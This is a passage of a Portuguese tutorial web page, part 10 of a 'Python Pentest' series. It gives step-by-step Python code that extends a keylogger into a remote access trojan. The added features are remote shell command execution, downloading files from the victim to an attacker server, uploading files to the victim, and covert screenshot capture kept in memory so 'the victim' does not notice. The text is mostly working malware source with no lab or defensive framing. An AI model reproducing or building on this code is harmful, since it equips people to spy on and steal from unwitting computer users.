Aprenda Python Pentest

  • Página Inicial
  • Contato!
  • Tudo sobre Python Pentest Parte 1!
  • Tudo sobre Python Pentest Parte 2!
  • Tudo sobre Python Pentest Parte 3!
  • Tudo sobre Python Pentest Parte 4!
  • Tudo sobre Python Pentest Parte 5!
  • Tudo sobre Python Pentest Parte 6!
  • Tudo sobre Python Pentest Parte 7!
  • Tudo sobre Python Pentest Parte 8!
  • Tudo sobre Python Pentest Parte 9!
  • Tudo sobre Python Pentest Parte 10!
  • Tudo sobre Python Pentest Parte 11!
  • Tudo sobre Python Pentest Parte 12!
  • Tudo sobre Python Pentest Parte 13!
  • Tudo sobre Python Pentest Parte 10

    Executando Comandos no Sistema

    Podemos executar comandos do sistema no Python, que não será exatamente um shell verdadeiro, mas podemos executar alguns comandos com a biblioteca subprocess.

    No nosso keylogger, crie essa função:

    
    def runComand(comand, sock):
        # Coloque import subprocess no início do código
        result = subprocess.run(comand, shell = True, text = True, capture_output = True) # O text retorna um texto
        saida = result.stdout
        erro = result.stderr
    
        if saida:
            sendData("alerta", saida, sock)
        elif erro:
            sendData("alerta", erro, sock)
    
    

    E na função recvData do keylogger, vamos colocar um else no if dos comandos:

    
    if comando.lower() == "sk1":
        # Aqui não mexe em nada
    elif comando.lower() == "sk0":
        # Aqui também não mexe em nada
    elif comando.lower() == "exit":
        # Nem aqui
    else:
        runComand(comando, sock) # Sem lower
    
    

    PS: Caso dê erro ao utilizar comandos com várias linhas como o dir, vá no sendData do keylogger e coloque uma quebra de linha no packet, assim:

    
    packet = json.dumps(rawPacket) + "\n"
    
    

    E modifique a função recvData do servidor assim:

    
    def recvData(sock):
        buffer = ""
    
        while True:
            try:
                rawData = sock.recv(1024)
    
                if not rawData:
                    break
    
                buffer += rawData.decode(errors = "ignore")
    
                while "\n" in buffer:
                    linha, buffer = buffer.split("\n", 1)
    
                    if not linha.strip():
                        continue
    
                    data = json.loads(linha) # Importe json
    
                    if "tecla" in data:
                        with open("teclas.txt", "a") as arqKey:
                            arqKey.write(f"{data["tecla"]}\n")
                    elif "alerta" in data:
                        msg = data["alerta"]
                        print(f"[!] {msg}   \nComando > ", end = "")
            except OSError:
                break
    
    

    Lembrando que o comando cd ele não muda o diretório do programa. Isso corrigiremos depois.

    Na mesma função acima, em servidor, coloque abaixo do elif de alerta esse elif aqui:

    
    elif "comando" in data:
        comando = data["comando"]
        print(f"\n{comando}     \nComando > ", end = "")
    
    

    E no keylogger, em runComand, altere o if else pra isso:

    
    if saida:
        sendData("comando", saida, sock)
    elif erro:
        sendData("comando", erro, sock)
    
    

    No recvData do keylogger, faça a alteração do início da função assim:

    
    def recvData(sock):
        global monitorar, pwd
        pwd = os.getcwd() # Isso pega a pasta atual que ele está executando
        monitorar = False
    
        # O restante permanece igual
    
    

    E o runComand do keylogger, deixe ele assim:

    
    def runComand(comand, sock):
        global pwd
        if comand[:3] == "cd ": # Não esqueça do espaço
            result = subprocess.run(comand + " & cd", shell = True, text = True, capture_output = True, cwd = pwd)
            saida = result.stdout
            erro = result.stderr
    
            if saida:
                pwd = saida.strip()
            elif erro:
                sendData("comando", erro, sock)
        else:
            result = subprocess.run(comand, shell = True, text = True, capture_output = True, cwd = pwd) # Adicionando outro parâmetro
            saida = result.stdout
            erro = result.stderr
    
            if saida:
                sendData("comando", saida, sock)
            elif erro:
                sendData("comando", erro, sock)
    
    

    Download de Arquivos

    Nos nossos scripts, podemos baixar e fazer uploads de arquivos também, utilizando comandos. No caso, usaríamos um comando como download nomedoarquivo.jpg.

    No keylogger, vamos criar esse elif após o elif exit, em recvData:

    
    elif comando[:9] == "download ": # Não esqueça do espaço
        download(comando, sock)    
    
    

    E no mesmo script, definir a função download assim:

    
    def download(comand, sock):
        file = comand[9:]
        caminho = f"{pwd}/{file}"
        caminho = caminho.replace("\\", "/").replace("C:", "")
    
        if os.path.isfile(caminho):
            print("O Arquivo Existe!")
    
    

    Deixe a função download assim:

    
    def download(comand, sock):
        file = comand[9:]
        caminho = f"{pwd}/{file}"
        caminho = caminho.replace("\\", "/").replace("C:", "")
    
        if os.path.isfile(caminho):
            with open(caminho, "rb") as arqFile:
                data = base64.b64encode(arqFile.read()).decode() # Importe base64
    
            packet = json.dumps({"download": {file: data}}) + "\n" # Dicionário dentro de outro, como uma matriz, transformado em JSON
            sock.sendall((packet + "\n").encode())
        else:
            sendData("alerta", f"Arquivo [{file}] não encontrado!", sock)
    
    

    E no recvData do servidor, adicione esse elif após o elif de comando:

    
    elif "download" in data:
        down = data["download"]
    
        for d in down:
            with open(d, "wb") as arqFile:
                arqFile.write(base64.b64decode(down[d])) # Importe base64
    
        print(f"\nArquivo [{d}] recebido com sucesso!\nComando > ", end = "")
    
    

    Uploads de Arquivos

    Como a gente fez pra baixar arquivos do cliente pro nosso servidor, também podemos fazer que nosso programa envie arquivos pro cliente.

    No sendData do servidor, podemos fazer assim:

    
    def sendData(sock):
        while True:
            rawData = input("Comando > ")
            key = "action"
    
            if rawData == "start keylogger":
                rawData = "sk1"
            elif rawData == "stop keylogger":
                rawData = "sk0"
    
            packet = json.dumps({key: rawData})
            sock.send(packet.encode())
    
            if rawData == "exit":
                sock.close()
                exit()    
    
    

    E no recvData do keylogger, faça assim:

    
    def recvData(sock):
        # Acima desse if nada é alterado
            if rawData:
                while True:
                    try:
                        pacote = json.loads(rawData.decode())
                        break
                    except:
                        rawData += sock.recv(1024)
                
                if "action" in pacote:
                    comando = pacote["action"]
        
                    if comando.lower() == "sk1":
                        # Esse if e todos seus elifs e else serão identados dentro do if action, sem alterações no código
    
    

    Aí, no sendData do servidor, podemos fazer assim, colocando esse elif debaixo do stop keylogger ou do help (caso definido):

    
    elif rawData[:7] == "upload ": # Não esqueça do espaço
        upload(rawData, sock)
        continue
    
    

    Daí, no mesmo arquivo, criaremos a função upload, assim:

    
    def upload(file, sock):
        file = file[7:]
        caminho = file.replace("\\", "/").replace("C:", "")
    
        try:
            fileName = caminho.split("/")[-1]
        except:
            fileName = caminho
    
        if os.path.isfile(caminho): # Importe os
            with open(caminho, "rb") as arqFile:
                data = base64.b64encode(arqFile.read()).decode()
    
            packet = json.dumps({"download": {fileName: data}})
            sock.sendall(packet.encode())
        else:
            print(f"Arquivo {caminho} não Encontrado!")
    
    

    E no keylogger, abaixo do if do action, coloque isso:

    
    if "action" in pacote:
        # Aqui dentro não mexe em nada
    elif "download" in pacote:
        down = pacote["download"]
        caminho = pwd.replace("\\", "/").replace("C:", "")
    
        for d in down:
            with open(f"{caminho}/{d}", "wb") as arqFile:
                data = base64.b64decode(down[d])
                arqFile.write(data)
    
                sendData("alerta", f"Arquivo {d} enviado com sucesso!", sock)
    
    

    Daí, no servidor, basta dar o comando upload C:\Users\NomeDoUser\caminhodoarquivo.jpg para enviá-lo ao cliente.

    Capturando uma ScreenShot

    Primeiramente, instale o pacote pillow no Python. Depois de instalado, podemos fazer simplesmente isso pra salvar um print da tela, num arquivo de teste:

    
    from PIL import ImageGrab
    
    screenShot = ImageGrab.grab()
    
    screenShot.save("print.jpg")
    
    

    Podemos melhorar mais ainda, colocando a data do print, assim:

    
    from PIL import ImageGrab
    import datetime
    
    date = datetime.datetime.now().strftime("%Y-%m-%d_%H-%M-%S")
    fileName = f"print-{date}.jpg"
    
    screenShot = ImageGrab.grab()
    
    screenShot.save(fileName)
    
    

    Só que num malware em ambiente real, a gente não vai salvar num arquivo no computador predado porque a vítima pode estranhar ver um print que não foi retirado por ele.

    Pra salvar no buffer, podemos fazer assim:

    
    from PIL import ImageGrab
    import datetime
    import io
    
    date = datetime.datetime.now().strftime("%Y-%m-%d_%H-%M-%S")
    fileName = f"print-{date}.jpg"
    
    buffer = io.BytesIO() # Importe io
    screenShot = ImageGrab.grab()
    
    screenShot.save(buffer, format = "JPEG")
    
    data = buffer.getvalue()
    
    buffer.close()
    
    # Isso é só pra ver se ele criará um arquivo, retire numa aplicação real
    with open("teste.jpg", "wb") as arqFile:
        arqFile.write(data)
    
    

    PS: Utilize JPEG pelo arquivo de imagem ser menor, já que ele será enviado pela rede.

    Aí, no nosso keylogger, fazemos assim:

    
    def screenShotImage(sock):
        date = datetime.datetime.now().strftime("%Y-%m-%d_%H-%M-%S") # Importe datetime
        fileName = f"screenshot-{date}.jpg"
        
        buffer = io.BytesIO() # Importe io
        
        screenShot = ImageGrab.grab() # Coloque from PIL import ImageGrab
        
        screenShot.save(buffer, format = "JPEG")
        
        data = buffer.getvalue()
        
        buffer.close()
    
    

    Na função recvData do keylogger, colocamos esse elif logo abaixo do elif de download:

    
    elif comando == "screenshot":
        screenShotImage(sock)
    
    

    Pra melhorar nosso script, adicione no keylogger essa função:

    
    def sendFile(file, data, sock):
        b64data = base64.b64encode(data).decode()
        packet = json.dumps({"download": {file: b64data}}) + "\n"
    
        sock.sendall((packet + "\n").encode())
    
    

    E aí, no if do donwload apenas deixe assim:

    
    if os.path.isfile(caminho):
        with open(caminho, "rb") as arqFile:
            data = arqFile.read()
    
        sendFile(file, data, sock)
    
    

    Daí, na função screenShotImage, debaixo do resto do código, coloque a invocação da função sendFile também, assim:

    
    sendFile(fileName, data, sock)